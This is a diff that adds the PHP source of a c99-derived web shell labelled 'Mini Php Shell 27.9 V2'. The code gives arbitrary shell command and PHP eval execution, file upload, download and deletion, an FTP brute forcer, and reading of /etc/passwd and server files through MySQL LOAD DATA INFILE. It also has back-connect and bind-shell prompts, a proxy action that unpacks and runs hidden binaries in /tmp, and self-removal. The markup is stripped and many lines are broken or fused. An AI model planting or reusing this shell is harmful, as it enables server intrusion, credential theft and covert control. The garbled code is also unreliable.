+ if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
+ if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
+ else {$bool = strpos(" ".$r,$a["text"],1);}
+ if ($a["text_not"]) {$bool = !$bool;}
+ if ($bool) {$found[] = $d.$f; $found_f++;}
+ }
+ else {$found[] = $d.$f; $found_f++;}
+ }
+ }
+ }
+ }
+ closedir($h);
+}
+}
+if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
+//Sending headers
+@ob_start();
+@ob_implicit_flush(0);
+function onphpshutdown()
+{
+ global $gzipencode,$ft;
+ if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
+ {
+ $v = @ob_get_contents();
+ @ob_end_clean();
+ @ob_start("ob_gzHandler");
+ echo $v;
+ @ob_end_flush();
+ }
+}
+function c99shexit()
+{
+ onphpshutdown();
+ exit;
+}
+header("Expires: 28 Jul 2011 18:00:52 GMT");
+header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
+header("Cache-Control: no-store, no-cache, must-revalidate");
+header("Cache-Control: post-check=0, pre-check=0", FALSE);
+header("Pragma: no-cache");
+if (empty($tmpdir))
+{
+ $tmpdir = ini_get("upload_tmp_dir");
+ if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
+}
+$tmpdir = realpath($tmpdir);
+$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
+if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
+if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
+else {$tmpdir_logs = realpath($tmpdir_logs);}
+if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
+{
+ $safemode = TRUE;
+ $hsafemode = "ON (secure) ";
+}
+else {$safemode = FALSE; $hsafemode = "OFF (not secure) ";}
+$v = @ini_get("open_basedir");
+if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "".$v." ";}
+else {$openbasedir = FALSE; $hopenbasedir = "OFF (not secure) ";}
+$sort = htmlspecialchars($sort);
+if (empty($sort)) {$sort = $sort_default;}
+$sort[1] = strtolower($sort[1]);
+$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
+if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
+$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"PHP/".phpversion()." Mini Php Shell 27.9 V2
+
+
+
+
+
+ Coded by jos_ali_joehttp://devilzc0de.com/
+
+
+~ host ".$_SERVER['SERVER_NAME']." ~ server ".$_SERVER['SERVER_SOFTWARE']." ~ os ".php_uname()." ~ uid $uid ($uname) ~ gid $gid ($gname)
".htmlspecialchars($b).DIRECTORY_SEPARATOR." [ ok ] ";
+ echo "".view_perms(fileperms($d))." [ Read-Only ] ";
+ echo "".view_perms_color($d)." ";
+}*/
+/*if (is_callable("disk_free_space"))
+{
+ $free = disk_free_space($d);
+ $total = disk_total_space($d);
+ if ($free === FALSE) {$free = 0;}
+ if ($total === FALSE) {$total = 0;}
+ if ($free < 0) {$free = 0;}
+ if ($total < 0) {$total = 0;}
+ $used = $total-$free;
+ $free_percent = round(100/($total/$free),2);
+ echo "Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%) ";
+
+}
+echo "Your ip: ".$_SERVER["REMOTE_ADDR"]." - Server ip: ".gethostbyname($_SERVER["HTTP_HOST"])." [ ";
+ if ($letter.":" != $v) {$letters .= $letter;}
+ else {$letters .= "".$letter." ";}
+ $letters .= " ] ";
+ }
+ }
+ if (!empty($letters)) {echo "Detected drives : ".$letters."
+
+';
+if (count($quicklaunch) > 0)
+{
+ foreach($quicklaunch as $item)
+ {
+ $item[1] = str_replace("%d",urlencode($d),$item[1]);
+ $item[1] = str_replace("%sort",$sort,$item[1]);
+ $v = realpath($d."..");
+ if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
+ $item[1] = str_replace("%upd",urlencode($v),$item[1]);
+ echo "".$item[0]." ";
+ }
+}
+echo "
";
+
+if ((!empty($donated_html)) and (in_array($act,$donated_act))) {
+echo "
+
";
+ }
+
+echo "
+ ";
+
+if ($act == "") {$act = $dspact = "ls";}
+if ($act == "sql")
+{
+ $sql_surl = $surl."act=sql";
+ if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
+ if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
+ if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
+ if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
+ if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
+ $sql_surl .= "&";
+ ?>
+
+
+ SQL Manager:Can't connect ".$err." ";}
+ }
+ else
+ {
+ $sqlquicklaunch = array();
+ $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
+ $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
+ $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
+ $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
+ $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
+ $sqlquicklaunch[] = array("Logout",$surl."act=sql");
+ echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\") ".$item[0]." ";
+ if (!$sql_sock) {?>If login is null, login is owner of process. If host is null, host is localhost If port is null, port is 3306 (default) Username Password Database
">Home ".htmlspecialchars($sql_db)." ]---?nbsp;".htmlspecialchars($row[0])." "; mysql_free_result($count); $c++;}
+ if (!$c) {echo "No tables found in database.";}
+ }
+ }
+ else
+ {
+ ?>Home ";
+ //Start center panel
+ $diplay = TRUE;
+ if ($sql_db)
+ {
+ if (!is_numeric($c)) {$c = 0;}
+ if ($c == 0) {$c = "no";}
+ echo "There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").".$item[0]." ] ";}}
+ echo " Error:
+ Create a new table:
+ Dump DataBase:
+
";}
+ if ($sql_act == "newtbl")
+ {
+ echo "";
+ if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
+ else
+ {
+ fwrite($fp,$ret);
+ fclose($fp);
+ echo "Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).") .";
+ }
+ }
+ else {echo "Dump: nothing to do! ";}
+ }
+ }
+ if ($diplay)
+ {
+ if (!empty($sql_tbl))
+ {
+ if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
+ $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
+ $count_row = mysql_fetch_array($count);
+ mysql_free_result($count);
+ $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
+ $tbl_struct_fields = array();
+ while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
+ if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
+ if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
+ if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
+ if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
+ $perpage = $sql_tbl_le - $sql_tbl_ls;
+ if (!is_numeric($perpage)) {$perpage = 10;}
+ $numpages = $count_row[0]/$perpage;
+ $e = explode(" ",$sql_order);
+ if (count($e) == 2)
+ {
+ if ($e[0] == "d") {$asc_desc = "DESC";}
+ else {$asc_desc = "ASC";}
+ $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
+ }
+ else {$v = "";}
+ $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
+ $result = mysql_query($query) or print(mysql_smarterror());
+ echo " Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows) [ Structure ] ";
+ echo "[ Browse ] ";
+ echo "[ Dump ] ";
+ echo "[ Insert ] ";
+ if ($sql_tbl_act == "structure") {echo "Coming sooon! ";}
+ if ($sql_tbl_act == "insert")
+ {
+ if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
+ if (!empty($sql_tbl_insert_radio))
+ {
+
+ }
+ else
+ {
+ echo "Inserting row into table: ";}
+ echo $i;
+ if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo " Create new DataBase:
+ View File:
";
+ if ($sql_act == "newdb")
+ {
+ echo "";
+ if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! Server-status variables: Name Value ".$row[0]." ".$row[1]."
Server variables: Name Value ".$row[0]." ".$row[1]."
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "processes")
+ {
+ if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "Killing process #".$kill."... ok. he is dead, amen. ";}
+ $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
+ echo "Processes: ID USER HOST DB COMMAND TIME STATE INFO Action ".$row[0]." ".$row[1]." ".$row[2]." ".$row[3]." ".$row[4]." ".$row[5]." ".$row[6]." ".$row[7]." Kill
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "getfile")
+ {
+ $tmpdb = $sql_login."_tmpdb";
+ $select = mysql_select_db($tmpdb);
+ if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
+ if ($select)
+ {
+ $created = FALSE;
+ mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
+ mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
+ $result = mysql_query("SELECT * FROM tmp_file;");
+ if (!$result) {echo "Error in reading file (permision denied)! ";}
+ else
+ {
+ for ($i=0;$iFile \"".$sql_getfile."\" does not exists or empty!File \"".$sql_getfile."\":
";
+ if ($sql_sock)
+ {
+ $affected = @mysql_affected_rows($sql_sock);
+ if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
+ echo " Affected rows: ".$affected."
";
+}
+if ($act == "mkdir")
+{
+ if ($mkdir != $d)
+ {
+ if (file_exists($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : object alredy exists";}
+ elseif (!mkdir($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : access denied";}
+ echo "FTP Brute Forcer: Connected to ".$host." with login \"".$login."\" and password \"".$pass."\" Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\" Done! ".$success." Permision denied! Directory information: ";
+ if (!$win)
+ {
+ echo "Owner/Group ";
+ $ow = posix_getpwuid(fileowner($d));
+ $gr = posix_getgrgid(filegroup($d));
+ $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
+ }
+ echo " Perms ".view_perms_color($d)." Create time ".date("d/m/Y H:i:s",filectime($d))." Access time ".date("d/m/Y H:i:s",fileatime($d))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."
Server Information: Open base dir: ".$hopenbasedir." *nix /etc/passwd: ".$uid["dir"]." ";
+ echo join(":",$uid)."Get /etc/passwd You can't crack winnt passwords(".$v.") You can crack winnt passwords. Download View cpanel user-domains logs View cpanel logs Apache configuration (httpd.conf) Apache configuration (httpd.conf) Syslog configuration (syslog.conf) Message Of The Day Hosts ".$name." - ";} echo $name.nl2br($value)."Make File \"".htmlspecialchars($mkfile)."\" : object alredy exists";}
+ elseif (!fopen($mkfile,"w")) {echo "Make File \"".htmlspecialchars($mkfile)."\" : access denied";}
+ else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
+ }
+ else {$act = $dspact = "ls";}
+}
+if ($act == "encoder")
+{
+ echo "Encoder: ";
+}
+if ($act == "backc")
+{
+ $ip = $_SERVER["REMOTE_ADDR"];
+ $msg = $_POST['backcconnmsg'];
+ $emsg = $_POST['backcconnmsge'];
+ echo("Back-Connection: Click 'Connect' only after you open port for it first. Once open, use NetCat, and run 'nc -l -n -v -p 5992 'Bind Shell Backdoor: ");
+echo("$msg");
+echo("$emsg");
+}
+
+
+if ($act == "proxy") {
+ cf("/tmp/hantu.tgz",$proxy_shit);
+ ex("cd /tmp;tar -zxvf hantu.tgz");
+ ex("cd /tmp;cd .setan;chmod 777 xh");
+ ex("cd /tmp;cd .setan;chmod 777 httpd");
+ ex("cd /tmp;cd .setan;./xh -s [kmod] ./httpd start");
+ checkproxyhost();
+ $msg = $_POST['proxyhostmsg'];
+ echo("$msg");
+ unlink("/tmp/hantu.tgz");
+ ex("cd /tmp; rm -r .setan");
+}
+
+if ($act == "selfremove")
+{
+ if (($submit == $rndcode) and ($submit != ""))
+ {
+ if (unlink(__FILE__)) {@ob_clean(); echo "Gone!"; c99shexit(); }
+ else {echo "Can't delete ".__FILE__."! Error: incorrect confimation! ";}
+ $rnd = rand(0,9).rand(0,9).rand(0,9);
+ echo "";
+ }
+}
+if ($act == "search"){
+ echo "Search file-system: ";
+ if (empty($search_in)) {$search_in = $d;}
+ if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
+ if (empty($search_text_wwo)) {$search_text_regexp = 0;}
+ if (!empty($submit))
+ {
+ $found = array();
+ $found_d = 0;
+ $found_f = 0;
+ $search_i_f = 0;
+ $search_i_d = 0;
+ $a = array
+ (
+ "name"=>$search_name, "name_regexp"=>$search_name_regexp,
+ "text"=>$search_text, "text_regexp"=>$search_text_regxp,
+ "text_wwo"=>$search_text_wwo,
+ "text_cs"=>$search_text_cs,
+ "text_not"=>$search_text_not
+ );
+ $searchtime = getmicrotime();
+ $in = array_unique(explode(";",$search_in));
+ foreach($in as $v) {c99fsearch($v);}
+ $searchtime = round(getmicrotime()-$searchtime,4);
+ if (count($found) == 0) {echo "No files found! ";}
+ else
+ {
+ $ls_arr = $found;
+ $disp_fullpath = TRUE;
+ $act = "ls";
+ }
+ }
+ echo "";
+ if ($act == "ls") {$dspact = $act; echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second). Change file-mode with error: can't get current value.";}
+ else
+ {
+ $form = TRUE;
+ if ($chmod_submit)
+ {
+ $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
+ if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
+ else {$err = "Can't chmod to ".$octet.".";}
+ }
+ if ($form)
+ {
+ $perms = parse_perms($mode);
+ echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).") Error: ".$err:"")."";
+ }
+ }
+}
+if ($act == "upload")
+{
+ $uploadmess = "";
+ $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
+ if (empty($uploadpath)) {$uploadpath = $d;}
+ elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";}
+ if (!empty($submit))
+ {
+ global $HTTP_POST_FILES;
+ $uploadfile = $HTTP_POST_FILES["uploadfile"];
+ if (!empty($uploadfile["tmp_name"]))
+ {
+ if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
+ else {$destin = $userfilename;}
+ if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"].". Can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\".";}
+ }
+ elseif (!empty($uploadurl))
+ {
+ if (!empty($uploadfilename)) {$destin = $uploadfilename;}
+ else
+ {
+ $destin = explode("/",$destin);
+ $destin = $destin[count($destin)-1];
+ if (empty($destin))
+ {
+ $i = 0;
+ $b = "";
+ while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
+ }
+ if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "Incorect url! ".$uploadmess." ";
+ $act = "ls";
+ }
+ else
+ {
+ echo "File upload: ".$uploadmess." ";
+ }
+}
+if ($act == "delete")
+{
+ $delerr = "";
+ foreach ($actbox as $v)
+ {
+ $result = FALSE;
+ $result = fs_rmobj($v);
+ if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."Deleting with errors: Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE. Pasting with errors: Archivation errors: Pasting with errors: $execcmd ";
+ $olddir = realpath(".");
+ @chdir($d);
+ $ret = myshellexec($cmd);
+ $ret = convert_cyr_string($ret,"d","w");
+ if ($cmd_txt)
+ {
+ $rows = count(explode("\r\n",$ret))+1;
+ if ($rows < 10) {$rows = 10;}
+ echo "Execution command "; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
+ echo "";
+}
+}
+if ($act == "ls")
+{
+ if (count($ls_arr) > 0) {$list = $ls_arr;}
+ else
+ {
+ $list = array();
+ if ($h = @opendir($d))
+ {
+ while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
+ closedir($h);
+ }
+ else {}
+ }
+ if (count($list) == 0) {echo "Can't open folder ".htmlspecialchars($d)." Name ";
+ $row[] = "Size ";
+ $row[] = "Modify ";
+ if (!$win)
+ {$row[] = "Owner/Group ";}
+ $row[] = "Perms ";
+ $row[] = "Action ";
+ $parsesort = parsesort($sort);
+ $sort = $parsesort[0].$parsesort[1];
+ $k = $parsesort[0];
+ if ($parsesort[1] != "a") {$parsesort[1] = "d";}
+ $y = "";
+ $y .= "[Sort-".($parsesort[1] == "a"?"Asc.":"Desc")."] ";
+ $row[$k] .= $y;
+ for($i=0;$i".$row[$i]."";}
+ }
+ $v = $parsesort[0];
+ usort($objects["folders"], "tabsort");
+ usort($objects["links"], "tabsort");
+ usort($objects["files"], "tabsort");
+ if ($parsesort[1] == "d")
+ {
+ $objects["folders"] = array_reverse($objects["folders"]);
+ $objects["files"] = array_reverse($objects["files"]);
+ }
+ $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
+ $tab = array();
+ $tab["cols"] = array($row);
+ $tab["head"] = array();
+ $tab["folders"] = array();
+ $tab["links"] = array();
+ $tab["files"] = array();
+ $i = 0;
+ foreach ($objects as $a)
+ {
+ $v = $a[0];
+ $o = basename($v);
+ $dir = dirname($v);
+ if ($disp_fullpath) {$disppath = $v;}
+ else {$disppath = $o;}
+ $disppath = str2mini($disppath,60);
+ if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath." ";}
+ elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath." ";}
+ foreach ($regxp_highlight as $r)
+ {
+ if (ereg($r[0],$o))
+ {
+ if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();}
+ else
+ {
+ $r[1] = round($r[1]);
+ $isdir = is_dir($v);
+ if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
+ {
+ if (empty($r[2])) {$r[2] = ""; $r[3] = " ";}
+ $disppath = $r[2].$disppath.$r[3];
+ if ($r[4]) {break;}
+ }
+ }
+ }
+ }
+ $uo = urlencode($o);
+ $ud = urlencode($dir);
+ $uv = urlencode($v);
+ $row = array();
+ if ($o == ".")
+ {
+ $row[] = " ".$o." ";
+ $row[] = "LINK";
+ }
+ elseif ($o == "..")
+ {
+ $row[] = " ".$o." ";
+ $row[] = "LINK";
+ }
+ elseif (is_dir($v))
+ {
+ if (is_link($v))
+ {
+ $disppath .= " => ".readlink($v);
+ $type = "LINK";
+ $row[] = " [".$disppath."] ";
+ }
+ else
+ {
+ $type = "DIR";
+ $row[] = " [".$disppath."] ";
+ }
+ $row[] = $type;
+ }
+ elseif(is_file($v))
+ {
+ $ext = explode(".",$o);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $row[] = " ".$disppath." ";
+ $row[] = view_size($a[1]);
+ }
+ $row[] = date("d.m.Y H:i:s",$a[2]);
+ if (!$win) {$row[] = $a[3];}
+ $row[] = "".view_perms_color($v)." [Info] ".$checkbox;}
+ else {$row[] = "[Info] [Change] [Download] ".$checkbox;}
+ if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
+ elseif (is_link($v)) {$tab["links"][] = $row;}
+ elseif (is_dir($v)) {$tab["folders"][] = $row;}
+ elseif (is_file($v)) {$tab["files"][] = $row;}
+ $i++;
+ }
+ }
+ // Compiling table
+ $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
+ echo "Listing Folder: ".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders
+
+ ";
+ if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
+ {
+ echo "With selected: ";
+ echo "Delete ";
+ echo "Change-mode ";
+ if ($usefsbuff)
+ {
+ echo "Cut ";
+ echo "Copy ";
+ echo "Unselect ";
+ }
+ echo "
";
+ echo "";
+ }
+}
+
+if ($act == "processes")
+{
+ echo "Processes: [sort_desc] ";}
+ else {$y = "[sort_asc] ";}
+ $ret = htmlspecialchars($ret);
+ if (!$win)
+ {
+ if ($pid)
+ {
+ if (is_null($sig)) {$sig = 9;}
+ echo "Sending signal ".$sig." to #".$pid."... ";
+ if (posix_kill($pid,$sig)) {echo "OK.";}
+ else {echo "ERROR.";}
+ }
+ while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
+ $stack = explode("\n",$ret);
+ $head = explode(" ",$stack[0]);
+ unset($stack[0]);
+ for($i=0;$i".$head[$i]." ";}
+ }
+ $prcs = array();
+ foreach ($stack as $line)
+ {
+ if (!empty($line))
+{
+ echo "";
+ $line = explode(" ",$line);
+ $line[10] = join(" ",array_slice($line,10));
+ $line = array_slice($line,0,11);
+ if ($line[0] == get_current_user()) {$line[0] = "".$line[0]." ";}
+ $line[] = "KILL ";
+ }
+ }
+ }
+ else
+ {
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ $ret = convert_cyr_string($ret,"d","w");
+ $stack = explode("\n",$ret);
+ unset($stack[0],$stack[2]);
+ $stack = array_values($stack);
+ $head = explode("",$stack[0]);
+ $head[1] = explode(" ",$head[1]);
+ $head[1] = $head[1][0];
+ $stack = array_slice($stack,1);
+ unset($head[2]);
+ $head = array_values($head);
+ if ($parsesort[1] != "a") {$y = "[sort_desc] ";}
+ else {$y = "[sort_asc] ";}
+ if ($k > count($head)) {$k = count($head)-1;}
+ for($i=0;$i".trim($head[$i])." ";}
+ }
+ $prcs = array();
+ foreach ($stack as $line)
+ {
+ if (!empty($line))
+ {
+ echo "";
+ $line = explode("",$line);
+ $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
+ $line[2] = intval(str_replace(" ","",$line[2]))*1024;
+ $prcs[] = $line;
+ echo " ";
+ }
+ }
+ }
+ $head[$k] = "".$head[$k]." ".$y;
+ $v = $processes_sort[0];
+ usort($prcs,"tabsort");
+ if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
+ $tab = array();
+ $tab[] = $head;
+ $tab = array_merge($tab,$prcs);
+ echo "";
+ foreach($tab as $i=>$k)
+ {
+ echo "";
+ foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "".$v." ";}
+ echo " ";
+ }
+ echo "
";
+ }
+}
+if ($act == "eval")
+{
+ if (!empty($eval))
+ {
+ echo "Result of execution this PHP-code :Execution PHP-code "; if (empty($eval_txt)) {$eval_txt = TRUE;}}
+ echo "";
+}
+if ($act == "f")
+{
+ if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
+ {
+ if (file_exists($d.$f)) {echo "Permision denied (".htmlspecialchars($d.$f).")! File does not exists (".htmlspecialchars($d.$f).")! Create Viewing file: [$ext] ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)." ".$t[0]." ".$t[0]." ".$t[0]." + ) |";
+ }
+ echo "Information: Path ".$d.$f." Size ".view_size(filesize($d.$f))." MD5 ".md5_file($d.$f)." Owner/Group ";
+ $ow = posix_getpwuid(fileowner($d.$f));
+ $gr = posix_getgrgid(filegroup($d.$f));
+ echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
+ }
+ echo " Perms ".view_perms_color($d.$f)." Create time ".date("d/m/Y H:i:s",filectime($d.$f))." Access time ".date("d/m/Y H:i:s",fileatime($d.$f))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))."
FULL HEXDUMP "; $str = fread($fi,filesize($d.$f));}
+ else {echo "HEXDUMP PREVIEW "; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
+ $n = 0;
+ $a0 = "00000000";}
+ $a1 .= "Base64 Encode Base64 Encode + Chunk Base64 Encode + Chunk + Quotes Base64 Decode";
+ if (base64_encode($encoded) != $text) {echo " (failed)";}
+ echo " HEXDUMP: [Full ] [Preview ]Base64:
+[Encode ]
+[+chunk ]
+[+chunk+quotes ]
+[Decode ]
+";
+ }
+ elseif ($ft == "html")
+ {
+ if ($white) {@ob_clean();}
+ echo $r;
+ if ($white) {c99shexit();}
+ }
+ elseif ($ft == "txt") {echo "
".htmlspecialchars($r)." ";}
+ elseif ($ft == "ini") {echo ""; var_dump(parse_ini_file($d.$f,TRUE)); echo " ";}
+ elseif ($ft == "phpsess")
+ {
+ echo "";
+ $v = explode("|",$r);
+ echo $v[0]." ";
+ }
+ elseif ($ft == "exe")
+ {
+ $ext = explode(".",$f);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $rft = "";
+ foreach($exeftypes as $k=>$v)
+ {
+ if (in_array($ext,$v)) {$rft = $k; break;}
+ }
+ $cmd = str_replace("%f%",$f,$rft);
+ echo "Execute file: ";
+ }
+ elseif ($ft == "sdb") {echo ""; var_dump(unserialize(base64_decode($r))); echo " ";}
+ elseif ($ft == "code")
+ {
+ if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
+ {
+ $arr = explode("\n",$r);
+ if (count($arr == 18))
+ {
+ include($d.$f);
+ echo "phpBB configuration is detected in this file!Connect to DB ";
+ if (!empty($white)) {@ob_clean();}
+ highlight_file($d.$f);
+ if (!empty($white)) {c99shexit();}
+ echo "
";
+ }
+ elseif ($ft == "download")
+ {
+ @ob_clean();
+ header("Content-type: application/octet-stream");
+ header("Content-length: ".filesize($d.$f));
+ header("Content-disposition: attachment; filename=\"".$f."\";");
+ echo $r;
+ exit;
+ }
+ elseif ($ft == "notepad")
+ {
+ @ob_clean();
+ header("Content-type: text/plain");
+ header("Content-disposition: attachment; filename=\"".$f.".txt\";");
+ echo($r);
+ exit;
+ }
+ elseif ($ft == "img")
+ {
+ $inf = getimagesize($d.$f);
+ if (!$white)
+ {
+ if (empty($imgsize)) {$imgsize = 20;}
+ $width = $inf[0]/100*$imgsize;
+ $height = $inf[1]/100*$imgsize;
+ echo "Size: ";
+ $sizes = array("100","50","20");
+ foreach ($sizes as $v)
+ {
+ echo "";
+ if ($imgsize != $v ) {echo $v;}
